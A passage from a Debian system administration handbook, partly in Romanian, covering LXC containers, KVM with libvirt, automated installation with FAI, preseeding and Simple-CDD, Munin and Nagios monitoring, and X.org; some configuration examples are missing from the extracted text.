- on the filesystem, the kernel checks permissions according to the numerical identifiers for users and groups; these identifiers may designate different users and groups depending on the container, which should be kept in mind if writable parts of the filesystem are shared among containers.
Since we are dealing with isolation and not plain virtualization, setting up LXC containers is more complex than just running debian-installer on a virtual machine. We will describe a few prerequisites, then go on to the network configuration; we will then be able to actually create the system to be run in the container.
The lxc package contains the tools required to run LXC, and must therefore be installed.
LXC also requires the control groups configuration system, which is a virtual filesystem to be mounted on /sys/fs/cgroup
. Since Debian 8 switched to systemd, which also relies on control groups, this is now done automatically at boot time without further configuration.
The goal of installing LXC is to set up virtual machines; while we could of course keep them isolated from the network, and only communicate with them via the filesystem, most use cases involve giving at least minimal network access to the containers. In the typical case, each container will get a virtual network interface, connected to the real network through a bridge. This virtual interface can be plugged either directly onto the host's physical network interface (in which case the container is directly on the network), or onto another virtual interface defined on the host (and the host can then filter or route traffic). In both cases, the bridge-utils package will be required.
The simple case is just a matter of editing /etc/network/interfaces
, moving the configuration for the physical interface (for instance eth0
) to a bridge interface (usually br0
), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:
They should be disabled and replaced with the following:
The effect of this configuration will be similar to what would be obtained if the containers were machines plugged into the same physical network as the host. The “bridge” configuration manages the transit of Ethernet frames between all the bridged interfaces, which includes the physical eth0
as well as the interfaces defined for the containers.
In cases where this configuration cannot be used (for instance if no public IP addresses can be assigned to the containers), a virtual tap interface will be created and connected to the bridge. The equivalent network topology then becomes that of a host with a second network card plugged into a separate switch, with the containers also plugged into that switch. The host must then act as a gateway for the containers if they are meant to communicate with the outside world.
In addition to bridge-utils, this “rich” configuration requires the vde2 package; the /etc/network/interfaces
file then becomes:
The network can then be set up either statically in the containers, or dynamically with DHCP server running on the host. Such a DHCP server will need to be configured to answer queries on the br0
interface.
Let us now set up the filesystem to be used by the container. Since this “virtual machine” will not run directly on the hardware, some tweaks are required when compared to a standard filesystem, especially as far as the kernel, devices and consoles are concerned. Fortunately, the lxc includes scripts that mostly automate this configuration. For instance, the following commands (which require the debootstrap and rsync packages) will install a Debian container:
root@mirwiz:~#
lxc-create -n testlxc -t debian
debootstrap is /usr/sbin/debootstrap
Checking cache download in /var/cache/lxc/debian/rootfs-jessie-amd64 ...
Downloading debian minimal ...
I: Retrieving Release
I: Retrieving Release.gpg
[...]
Download complete.
Copying rootfs to /var/lib/lxc/testlxc/rootfs...
[...]
Root password is 'sSiKhMzI', please change !
root@mirwiz:~#
Note that the filesystem is initially created in /var/cache/lxc
, then moved to its destination directory. This allows creating identical containers much more quickly, since only copying is then required.
Note that the debian template creation script accepts an --arch
option to specify the architecture of the system to be installed and a --release
option if you want to install something else than the current stable release of Debian. You can also set the MIRROR
environment variable to point to a local Debian mirror.
The newly-created filesystem now contains a minimal Debian system, and by default the container has no network interface (besides the loopback one). Since this is not really wanted, we will edit the container's configuration file (/var/lib/lxc/testlxc/config
) and add a few lxc.network.*
entries:
These entries mean, respectively, that a virtual interface will be created in the container; that it will automatically be brought up when said container is started; that it will automatically be connected to the br0
bridge on the host; and that its MAC address will be as specified. Should this last entry be missing or disabled, a random MAC address will be generated.
Another useful entry in that file is the setting of the hostname:
Now that our virtual machine image is ready, let's start the container:
root@mirwiz:~#
lxc-start --daemon --name=testlxc
root@mirwiz:~#
lxc-console -n testlxc
Debian GNU/Linux 8 testlxc tty1
testlxc login:
root
Password:
Linux testlxc 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@testlxc:~#
ps auxwf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 28164 4432 ? Ss 17:33 0:00 /sbin/init
root 20 0.0 0.1 32960 3160 ? Ss 17:33 0:00 /lib/systemd/systemd-journald
root 82 0.0 0.3 55164 5456 ? Ss 17:34 0:00 /usr/sbin/sshd -D
root 87 0.0 0.1 12656 1924 tty2 Ss+ 17:34 0:00 /sbin/agetty --noclear tty2 linux
root 88 0.0 0.1 12656 1764 tty3 Ss+ 17:34 0:00 /sbin/agetty --noclear tty3 linux
root 89 0.0 0.1 12656 1908 tty4 Ss+ 17:34 0:00 /sbin/agetty --noclear tty4 linux
root 90 0.0 0.1 63300 2944 tty1 Ss 17:34 0:00 /bin/login --
root 117 0.0 0.2 21828 3668 tty1 S 17:35 0:00 \_ -bash
root 268 0.0 0.1 19088 2572 tty1 R+ 17:39 0:00 \_ ps auxfw
root 91 0.0 0.1 14228 2356 console Ss+ 17:34 0:00 /sbin/agetty --noclear --keep-baud console 115200 38400 9600 vt102
root 197 0.0 0.4 25384 7640 ? Ss 17:38 0:00 dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.e
root 266 0.0 0.1 12656 1840 ? Ss 17:39 0:00 /sbin/agetty --noclear tty5 linux
root 267 0.0 0.1 12656 1928 ? Ss 17:39 0:00 /sbin/agetty --noclear tty6 linux
root@testlxc:~#
We are now in the container; our access to the processes is restricted to only those started from the container itself, and our access to the filesystem is similarly restricted to the dedicated subset of the full filesystem (/var/lib/lxc/testlxc/rootfs
). We can exit the console with Control+a q.
Note that we ran the container as a background process, thanks to the --daemon
option of lxc-start. We can interrupt the container with a command such as lxc-stop --name=testlxc.
The lxc package contains an initialization script that can automatically start one or several containers when the host boots (it relies on lxc-autostart which starts containers whose lxc.start.auto
option is set to 1). Finer-grained control of the startup order is possible with lxc.start.order
and lxc.group
: by default, the initialization script first starts containers which are part of the onboot
group and then the containers which are not part of any group. In both cases, the order within a group is defined by the lxc.start.order
option.
GOING FURTHER Mass virtualization
Since LXC is a very lightweight isolation system, it can be particularly adapted to massive hosting of virtual servers. The network configuration will probably be a bit more advanced than what we described above, but the “rich” configuration using
tap
andveth
interfaces should be enough in many cases.It may also make sense to share part of the filesystem, such as the
/usr
and/lib
subtrees, so as to avoid duplicating the software that may need to be common to several containers. This will usually be achieved withlxc.mount.entry
entries in the containers configuration file. An interesting side-effect is that the processes will then use less physical memory, since the kernel is able to detect that the programs are shared. The marginal cost of one extra container can then be reduced to the disk space dedicated to its specific data, and a few extra processes that the kernel must schedule and manage.We haven't described all the available options, of course; more comprehensive information can be obtained from the lxc(7) and lxc.container.conf(5) manual pages and the ones they reference.
KVM, which stands for Kernel-based Virtual Machine, is first and foremost a kernel module providing most of the infrastructure that can be used by a virtualizer, but it is not a virtualizer by itself. Actual control for the virtualization is handled by a QEMU-based application. Don't worry if this section mentions qemu-* commands: it is still about KVM.
Unlike other virtualization systems, KVM was merged into the Linux kernel right from the start. Its developers chose to take advantage of the processor instruction sets dedicated to virtualization (Intel-VT and AMD-V), which keeps KVM lightweight, elegant and not resource-hungry. The counterpart, of course, is that KVM doesn't work on any computer but only on those with appropriate processors. For x86-based computers, you can verify that you have such a processor by looking for “vmx” or “svm” in the CPU flags listed in /proc/cpuinfo
.
With Red Hat actively supporting its development, KVM has more or less become the reference for Linux virtualization.
Unlike such tools as VirtualBox, KVM itself doesn't include any user-interface for creating and managing virtual machines. The qemu-kvm package only provides an executable able to start a virtual machine, as well as an initialization script that loads the appropriate kernel modules.
Fortunately, Red Hat also provides another set of tools to address that problem, by developing the libvirt library and the associated virtual machine manager tools. libvirt allows managing virtual machines in a uniform way, independently of the virtualization system involved behind the scenes (it currently supports QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare and UML). virtual-manager is a graphical interface that uses libvirt to create and manage virtual machines.
We first install the required packages, with apt-get install qemu-kvm libvirt-bin virtinst virt-manager virt-viewer. libvirt-bin provides the libvirtd daemon, which allows (potentially remote) management of the virtual machines running of the host, and starts the required VMs when the host boots. In addition, this package provides the virsh command-line tool, which allows controlling the libvirtd-managed machines.
The virtinst package provides virt-install, which allows creating virtual machines from the command line. Finally, virt-viewer allows accessing a VM's graphical console.
Just as in Xen and LXC, the most frequent network configuration involves a bridge grouping the network interfaces of the virtual machines (see Secțiune 12.2.2.2, „Network Configuration”).
Alternatively, and in the default configuration provided by KVM, the virtual machine is assigned a private address (in the 192.168.122.0/24 range), and NAT is set up so that the VM can access the outside network.
The rest of this section assumes that the host has an eth0
physical interface and a br0
bridge, and that the former is connected to the latter.
Creating a virtual machine is very similar to installing a normal system, except that the virtual machine's characteristics are described in a seemingly endless command line.
Practically speaking, this means we will use the Debian installer, by booting the virtual machine on a virtual DVD-ROM drive that maps to a Debian DVD image stored on the host system. The VM will export its graphical console over the VNC protocol (see Secțiune 9.2.2, „Using Remote Graphical Desktops” for details), which will allow us to control the installation process.
We first need to tell libvirtd where to store the disk images, unless the default location (/var/lib/libvirt/images/
) is fine.
root@mirwiz:~#
mkdir /srv/kvm
root@mirwiz:~#
virsh pool-create-as srv-kvm dir --target /srv/kvm
Pool srv-kvm created
root@mirwiz:~#
TIP Add your user to the libvirt group
All samples in this section assume that you are running commands as root. Effectively, if you want to control a local libvirt daemon, you need either to be root or to be a member of the
libvirt
group (which is not the case by default). Thus if you want to avoid using root rights too often, you can add yoursel to thelibvirt
group and run the various commands under your user identity.
Let us now start the installation process for the virtual machine, and have a closer look at virt-install's most important options. This command registers the virtual machine and its parameters in libvirtd, then starts it so that its installation can proceed.
#
virt-install --connect qemu:///system ![1]()
--virt-type kvm ![2]()
--name testkvm ![3]()
--ram 1024 ![4]()
--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 ![5]()
--cdrom /srv/isos/debian-8.1.0-amd64-netinst.iso ![6]()
--network bridge=br0 ![7]()
--vnc ![8]()
--os-type linux ![9]()
--os-variant debianwheezy
Starting install...
Allocating 'testkvm.qcow' | 10 GB 00:00
Creating domain... | 0 B 00:00
Guest installation complete... restarting guest.
The | |
Since KVM is managed the same way as QEMU, the | |
The | |
The | |
The | |
The | |
The | |
| |
The |
At this point, the virtual machine is running, and we need to connect to the graphical console to proceed with the installation process. If the previous operation was run from a graphical desktop environment, this connection should be automatically started. If not, or if we operate remotely, virt-viewer can be run from any graphical environment to open the graphical console (note that the root password of the remote host is asked twice because the operation requires 2 SSH connections):
$
virt-viewer --connect qemu+ssh://root@server
/system testkvm
root@server's password:
root@server's password:
When the installation process ends, the virtual machine is restarted, now ready for use.
Now that the installation is done, let us see how to handle the available virtual machines. The first thing to try is to ask libvirtd for the list of the virtual machines it manages:
#
virsh -c qemu:///system list --all
Id Name State
----------------------------------
- testkvm shut off
Let's start our test virtual machine:
#
virsh -c qemu:///system start testkvm
Domain testkvm started
We can now get the connection instructions for the graphical console (the returned VNC display can be given as parameter to vncviewer):
#
virsh -c qemu:///system vncdisplay testkvm
:0
Other available virsh subcommands include:
reboot
to restart a virtual machine; shutdown
to trigger a clean shutdown; destroy
, to stop it brutally; suspend
to pause it; resume
to unpause it; autostart
to enable (or disable, with the --disable
option) starting the virtual machine automatically when the host starts; undefine
to remove all traces of the virtual machine from libvirtd. All these subcommands take a virtual machine identifier as a parameter.
If the virtual machine is meant to run a Debian (or one of its derivatives), the system can be initialized with debootstrap, as described above. But if the virtual machine is to be installed with an RPM-based system (such as Fedora, CentOS or Scientific Linux), the setup will need to be done using the yum utility (available in the package of the same name).
The procedure requires using rpm to extract an initial set of files, including notably yum configuration files, and then calling yum to extract the remaining set of packages. But since we call yum from outside the chroot, we need to make some temporary changes. In the sample below, the target chroot is /srv/centos
.
#
rootdir="/srv/centos"
#
mkdir -p "$rootdir" /etc/rpm
#
echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath
#
wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm
#
rpm --nodeps --root "$rootdir" -i centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm
rpm: RPM should not be used directly install RPM packages, use Alien instead!
rpm: However assuming you know what you are doing...
warning: centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY
#
sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo
#
yum --assumeyes --installroot $rootdir groupinstall core
[...]
#
sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo
The Falcot Corp administrators, like many administrators of large IT services, need tools to install (or reinstall) quickly, and automatically if possible, their new machines.
These requirements can be met by a wide range of solutions. On the one hand, generic tools such as SystemImager handle this by creating an image based on a template machine, then deploy that image to the target systems; at the other end of the spectrum, the standard Debian installer can be preseeded with a configuration file giving the answers to the questions asked during the installation process. As a sort of middle ground, a hybrid tool such as FAI (Fully Automatic Installer) installs machines using the packaging system, but it also uses its own infrastructure for tasks that are more specific to massive deployments (such as starting, partitioning, configuration and so on).
Each of these solutions has its pros and cons: SystemImager works independently from any particular packaging system, which allows it to manage large sets of machines using several distinct Linux distributions. It also includes an update system that doesn't require a reinstallation, but this update system can only be reliable if the machines are not modified independently; in other words, the user must not update any software on their own, or install any other software. Similarly, security updates must not be automated, because they have to go through the centralized reference image maintained by SystemImager. This solution also requires the target machines to be homogeneous, otherwise many different images would have to be kept and managed (an i386 image won't fit on a powerpc machine, and so on).
On the other hand, an automated installation using debian-installer can adapt to the specifics of each machine: the installer will fetch the appropriate kernel and software packages from the relevant repositories, detect available hardware, partition the whole hard disk to take advantage of all the available space, install the corresponding Debian system, and set up an appropriate bootloader. However, the standard installer will only install standard Debian versions, with the base system and a set of pre-selected “tasks”; this precludes installing a particular system with non-packaged applications. Fulfilling this particular need requires customizing the installer… Fortunately, the installer is very modular, and there are tools to automate most of the work required for this customization, most importantly simple-CDD (CDD being an acronym for Custom Debian Derivative). Even the simple-CDD solution, however, only handles initial installations; this is usually not a problem since the APT tools allow efficient deployment of updates later on.
We will only give a rough overview of FAI, and skip SystemImager altogether (which is no longer in Debian), in order to focus more intently on debian-installer and simple-CDD, which are more interesting in a Debian-only context.
Fully Automatic Installer is probably the oldest automated deployment system for Debian, which explains its status as a reference; but its very flexible nature only just compensates for the complexity it involves.
FAI requires a server system to store deployment information and allow target machines to boot from the network. This server requires the fai-server package (or fai-quickstart, which also brings the required elements for a standard configuration).
FAI uses a specific approach for defining the various installable profiles. Instead of simply duplicating a reference installation, FAI is a full-fledged installer, fully configurable via a set of files and scripts stored on the server; the default location /srv/fai/config/
is not automatically created, so the administrator needs to create it along with the relevant files. Most of the times, these files will be customized from the example files available in the documentation for the fai-doc package, more particularly the /usr/share/doc/fai-doc/examples/simple/
directory.
Once the profiles are defined, the fai-setup command generates the elements required to start an FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.
Creating all these configuration files requires some understanding of the way FAI works. A typical installation process is made of the following steps:
/fai/
; /fai/class/[0-9][0-9]*
scripts are executed in turn, and return names of “classes” that apply to the machine being installed; this information will serve as a base for the following steps. This allows for some flexibility in defining the services to be installed and configured. /fai/disk_config/class
; /fai/package_config/class
; /fai/scripts/class
/[0-9][0-9]*
; At the end of the day, the best tool to install Debian systems should logically be the official Debian installer. This is why, right from its inception, debian-installer has been designed for automated use, taking advantage of the infrastructure provided by debconf. The latter allows, on the one hand, to reduce the number of questions asked (hidden questions will use the provided default answer), and on the other hand, to provide the default answers separately, so that installation can be non-interactive. This last feature is known as preseeding.
GOING FURTHER Debconf with a centralized database
Preseeding allows to provide a set of answers to Debconf questions at installation time, but these answers are static and do not evolve as time passes. Since already-installed machines may need upgrading, and new answers may become required, the
/etc/debconf.conf
configuration file can be set up so that Debconf uses external data sources (such as an LDAP directory server, or a remote file accessed via NFS or Samba). Several external data sources can be defined at the same time, and they complement one another. The local database is still used (for read-write access), but the remote databases are usually restricted to reading. The debconf.conf(5) manual page describes all the possibilities in detail (you need the debconf-doc package).
There are several places where the installer can get a preseeding file:
preseed.cfg
and stored in the initrd root. preseed/file
boot parameter can be used to indicate the location of the preseeding file (for instance, /cdrom/preseed.cfg
when the installation is done off a CD-ROM, or /hd-media/preseed.cfg
in the USB-key case). preseed/url=http://server
/preseed.cfg
. At a glance, including the preseeding file in the initrd looks like the most interesting solution; however, it is rarely used in practice, because generating an installer initrd is rather complex. The other two solutions are much more common, especially since boot parameters provide another way to preseed the answers to the first questions of the installation process. The usual way to save the bother of typing these boot parameters by hand at each installation is to save them into the configuration for isolinux (in the CD-ROM case) or syslinux (USB key).
A preseed file is a plain text file, where each line contains the answer to one Debconf question. A line is split across four fields separated by whitespace (spaces or tabs), as in, for instance, d-i mirror/suite string stable
:
The simplest way to write a preseed file is to install a system by hand. Then debconf-get-selections --installer will provide the answers concerning the installer. Answers about other packages can be obtained with debconf-get-selections. However, a cleaner solution is to write the preseed file by hand, starting from an example and the reference documentation: with such an approach, only questions where the default answer needs to be overridden can be preseeded; using the priority=critical
boot parameter will instruct Debconf to only ask critical questions, and use the default answer for others.
DOCUMENTATION Installation guide appendix
The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations.
Knowing where to store the preseed file is all very well, but the location isn't everything: one must, one way or another, alter the installation boot media to change the boot parameters and add the preseed file.
When a computer is booted from the network, the server sending the initialization elements also defines the boot parameters. Thus, the change needs to be made in the PXE configuration for the boot server; more specifically, in its /tftpboot/pxelinux.cfg/default
configuration file. Setting up network boot is a prerequisite; see the Installation Guide for details.
Once a bootable key has been prepared (see Secțiune 4.1.2, „Booting from a USB Key”), a few extra operations are needed. Assuming the key contents are available under /media/usbdisk/
:
/media/usbdisk/preseed.cfg
/media/usbdisk/syslinux.cfg
and add required boot parameters (see example below). Exemplu 12.2. syslinux.cfg file and preseeding parameters
A USB key is a read-write media, so it was easy for us to add a file there and change a few parameters. In the CD-ROM case, the operation is more complex, since we need to regenerate a full ISO image. This task is handled by debian-cd, but this tool is rather awkward to use: it needs a local mirror, and it requires an understanding of all the options provided by /usr/share/debian-cd/CONF.sh
; even then, make must be invoked several times. /usr/share/debian-cd/README
is therefore a very recommended read.
Having said that, debian-cd always operates in a similar way: an “image” directory with the exact contents of the CD-ROM is generated, then converted to an ISO file with a tool such as genisoimage, mkisofs or xorriso. The image directory is finalized after debian-cd's make image-trees step. At that point, we insert the preseed file into the appropriate directory (usually $TDIR/$CODENAME/CD1/
, $TDIR and $CODENAME being parameters defined by the CONF.sh
configuration file). The CD-ROM uses isolinux as its bootloader, and its configuration file must be adapted from what debian-cd generated, in order to insert the required boot parameters (the specific file is $TDIR/$CODENAME/boot1/isolinux/isolinux.cfg
). Then the “normal” process can be resumed, and we can go on to generating the ISO image with make image CD=1 (or make images if several CD-ROMs are generated).
Simply using a preseed file is not enough to fulfill all the requirements that may appear for large deployments. Even though it is possible to execute a few scripts at the end of the normal installation process, the selection of the set of packages to install is still not quite flexible (basically, only “tasks” can be selected); more important, this only allows installing official Debian packages, and precludes locally-generated ones.
On the other hand, debian-cd is able to integrate external packages, and debian-installer can be extended by inserting new steps in the installation process. By combining these capabilities, it should be possible to create a customized installer that fulfills our needs; it should even be able to configure some services after unpacking the required packages. Fortunately, this is not a mere hypothesis, since this is exactly what Simple-CDD (in the simple-cdd package) does.
The purpose of Simple-CDD is to allow anyone to easily create a distribution derived from Debian, by selecting a subset of the available packages, preconfiguring them with Debconf, adding specific software, and executing custom scripts at the end of the installation process. This matches the “universal operating system” philosophy, since anyone can adapt it to their own needs.
Simple-CDD defines “profiles” that match the FAI “classes” concept, and a machine can have several profiles (determined at installation time). A profile is defined by a set of profiles/
files: profile
.*
.description
file contains a one-line description for the profile; .packages
file lists packages that will automatically be installed if the profile is selected; .downloads
file lists packages that will be stored onto the installation media, but not necessarily installed; .preseed
file contains preseeding information for Debconf questions (for the installer and/or for packages); .postinst
file contains a script that will be run at the end of the installation process; .conf
file allows changing some Simple-CDD parameters based on the profiles to be included in an image. The default
profile has a particular role, since it is always selected; it contains the bare minimum required for Simple-CDD to work. The only thing that is usually customized in this profile is the simple-cdd/profiles
preseed parameter: this allows avoiding the question, introduced by Simple-CDD, about what profiles to install.
Note also that the commands will need to be invoked from the parent directory of the profiles
directory.
QUICK LOOK Detailed configuration file
An example of a Simple-CDD configuration file, with all possible parameters, is included in the package (
/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz
). This can be used as a starting point when creating a custom configuration file.
Simple-CDD requires many parameters to operate fully. They will most often be gathered in a configuration file, which build-simple-cdd can be pointed at with the --conf
option, but they can also be specified via dedicated parameters given to build-simple-cdd. Here is an overview of how this command behaves, and how its parameters are used:
profiles
parameter lists the profiles that will be included on the generated CD-ROM image; server
, and gathers them into a partial mirror (which will later be given to debian-cd); local_packages
are also integrated into this local mirror; debian_cd_dir
variable), with the list of packages to integrate; simple-cdd
subdirectory (that will end up on the CD-ROM); all_extras
parameter are also added; language
and country
variables. Monitoring is a generic term, and the various involved activities have several goals: on the one hand, following usage of the resources provided by a machine allows anticipating saturation and the subsequent required upgrades; on the other hand, alerting the administrator as soon as a service is unavailable or not working properly means that the problems that do happen can be fixed sooner.
Munin covers the first area, by displaying graphical charts for historical values of a number of parameters (used RAM, occupied disk space, processor load, network traffic, Apache/MySQL load, and so on). Nagios covers the second area, by regularly checking that the services are working and available, and sending alerts through the appropriate channels (e-mails, text messages, and so on). Both have a modular design, which makes it easy to create new plug-ins to monitor specific parameters or services.
ALTERNATIVE Zabbix, an integrated monitoring tool
Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.
ALTERNATIVE Icinga, a Nagios fork
Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.
The purpose of Munin is to monitor many machines; therefore, it quite naturally uses a client/server architecture. The central host — the grapher — collects data from all the monitored hosts, and generates historical graphs.
The first step is to install the munin-node package. The daemon installed by this package listens on port 4949 and sends back the data collected by all the active plugins. Each plugin is a simple program returning a description of the collected data as well as the latest measured value. Plugins are stored in /usr/share/munin/plugins/
, but only those with a symbolic link in /etc/munin/plugins/
are really used.
When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this autoconfiguration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery can be interesting even though not all plugins have comprehensive documentation. However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/
is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/
is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin
/etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0
symbolic link, and it will monitor network traffic on the eth0 interface.
Once all plugins are correctly set up, the daemon configuration must be updated to describe access control for the collected data. This involves allow
directives in the /etc/munin/munin-node.conf
file. The default configuration is allow ^127\.0\.0\.1$
, and only allows access to the local host. An administrator will usually add a similar line containing the IP address of the grapher host, then restart the daemon with service munin-node restart.
GOING FURTHER Creating local plugins
Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.
A plugin is best tested when run in the same conditions as it would be when triggered by munin-node; this can be simulated by running munin-run
plugin
as root. A potential second parameter given to this command (such asconfig
) is passed to the plugin as a parameter.When a plugin is invoked with the
config
parameter, it must describe itself by returning a set of fields:$
sudo munin-run load config
graph_title Load average
graph_args --base 1000 -l 0
graph_vlabel load
graph_scale no
graph_category system
load.label load
graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").
load.info 5 minute load averageThe various available fields are described by the “Plugin reference” available as part of the “Munin guide”.
When invoked without a parameter, the plugin simply returns the last measured values; for instance, executing sudo munin-run load could return
load.value 0.12
.Finally, when a plugin is invoked with the
autoconf
parameter, it should return “yes” (and a 0 exit status) or “no” (with a 1 exit status) according to whether the plugin should be enabled on this host.
The “grapher” is simply the computer that aggregates the data and generates the corresponding graphs. The required software is in the munin package. The standard configuration runs munin-cron (once every 5 minutes), which gathers data from all the hosts listed in /etc/munin/munin.conf
(only the local host is listed by default), saves the historical data in RRD files (Round Robin Database, a file format designed to store data varying in time) stored under /var/lib/munin/
and generates an HTML page with the graphs in /var/cache/munin/www/
.
All monitored machines must therefore be listed in the /etc/munin/munin.conf
configuration file. Each machine is listed as a full section with a name matching the machine and at least an address
entry giving the corresponding IP address.
Sections can be more complex, and describe extra graphs that could be created by combining data coming from several machines. The samples provided in the configuration file are good starting points for customization.
The last step is to publish the generated pages; this involves configuring a web server so that the contents of /var/cache/munin/www/
are made available on a website. Access to this website will often be restricted, using either an authentication mechanism or IP-based access control. See Secțiune 11.2, „Web Server (HTTP)” for the relevant details.
Unlike Munin, Nagios does not necessarily require installing anything on the monitored hosts; most of the time, Nagios is used to check the availability of network services. For instance, Nagios can connect to a web server and check that a given web page can be obtained within a given time.
The first step in setting up Nagios is to install the nagios3, nagios-plugins and nagios3-doc packages. Installing the packages configures the web interface and creates a first nagiosadmin
user (for which it asks for a password). Adding other users is a simple matter of inserting them in the /etc/nagios3/htpasswd.users
file with Apache's htpasswd command. If no Debconf question was displayed during installation, dpkg-reconfigure nagios3-cgi can be used to define the nagiosadmin
password.
Pointing a browser at http://
displays the web interface; in particular, note that Nagios already monitors some parameters of the machine where it runs. However, some interactive features such as adding comments to a host do not work. These features are disabled in the default configuration for Nagios, which is very restrictive for security reasons. server
/nagios3/
As documented in /usr/share/doc/nagios3/README.Debian
, enabling some features involves editing /etc/nagios3/nagios.cfg
and setting its check_external_commands
parameter to “1”. We also need to set up write permissions for the directory used by Nagios, with commands such as the following:
#
service nagios3 stop
[...]
#
dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios3/rw
#
dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
#
service nagios3 start
[...]
The Nagios web interface is rather nice, but it does not allow configuration, nor can it be used to add monitored hosts and services. The whole configuration is managed via files referenced in the central configuration file, /etc/nagios3/nagios.cfg
.
These files should not be dived into without some understanding of the Nagios concepts. The configuration lists objects of the following types:
According to its type, each object has a number of properties that can be customized. A full list would be too long to include, but the most important properties are the relations between the objects.
A service uses a command to check the state of a feature on a host (or a hostgroup) within a timeperiod. In case of a problem, Nagios sends an alert to all members of the contactgroup linked to the service. Each member is sent the alert according to the channel described in the matching contact object.
An inheritance system allows easy sharing of a set of properties across many objects without duplicating information. Moreover, the initial configuration includes a number of standard objects; in many cases, defining new hosts, services and contacts is a simple matter of deriving from the provided generic objects. The files in /etc/nagios3/conf.d/
are a good source of information on how they work.
The Falcot Corp administrators use the following configuration:
Exemplu 12.3. /etc/nagios3/conf.d/falcot.cfg
file
This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a warning is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the ssh-servers
hostgroup. The matching standard service is defined in /etc/nagios3/conf.d/services_nagios2.cfg
.
Note the use of inheritance: an object is made to inherit from another object with the “use parent-name
”. The parent object must be identifiable, which requires giving it a “name identifier
” property. If the parent object is not meant to be a real object, but only to serve as a parent, giving it a “register 0” property tells Nagios not to consider it, and therefore to ignore the lack of some parameters that would otherwise be required.
DOCUMENTATION List of object properties
A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation provided by the nagios3-doc package. This documentation is directly accessible from the web interface, with the “Documentation” link in the top left corner. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.
GOING FURTHER Remote tests with NRPE
Many Nagios plugins allow checking some parameters local to a host; if many machines need these checks while a central installation gathers them, the NRPE (Nagios Remote Plugin Executor) plugin needs to be deployed. The nagios-nrpe-plugin package needs to be installed on the Nagios server, and nagios-nrpe-server on the hosts where local tests need to run. The latter gets its configuration from
/etc/nagios/nrpe.cfg
. This file should list the tests that can be started remotely, and the IP addresses of the machines allowed to trigger them. On the Nagios side, enabling these remote tests is a simple matter of adding matching services using the new check_nrpe command.
Now that server deployments are done, the administrators can focus on installing the individual workstations and creating a typical configuration.
The initial configuration for the graphical interface can be awkward at times; very recent video cards often don't work perfectly with the X.org version shipped in the Debian stable version.
A brief reminder: X.org is the software component that allows graphical applications to display windows on screen. It includes a driver that makes efficient use of the video card. The features offered to the graphical applications are exported through a standard interface, X11 (Jessie contains its X11R7.7 version).
PERSPECTIVE X11, XFree86 and X.org
X11 is the graphical system most widely used on Unix-like systems (also available, in addition to the native system, for Windows and Mac OS). Strictly speaking, the “X11” term only refers to a protocol specification, but it is also used to refer to the implementation in practice.
X11 had a rough start, but the 1990's saw XFree86 emerge as the reference implementation because it was free software, portable, and maintained by a collaborative community. However, the rate of evolution slowed down near the end when the software only gained new drivers. That situation, along with a very controversial license change, led to the X.org fork in 2004. This is now the reference implementation, and Debian Jessie uses X.org version 7.7.
Current versions of X.org are able to autodetect the available hardware: this applies to the video card and the monitor, as well as keyboards and mice; in fact, it is so convenient that the package no longer even creates a /etc/X11/xorg.conf
configuration file. This is all made possible by features provided by the Linux kernel (in particular for keyboards and mice), by having each driver list the video cards it supports, and by using the DDC protocol to fetch monitor characteristics.
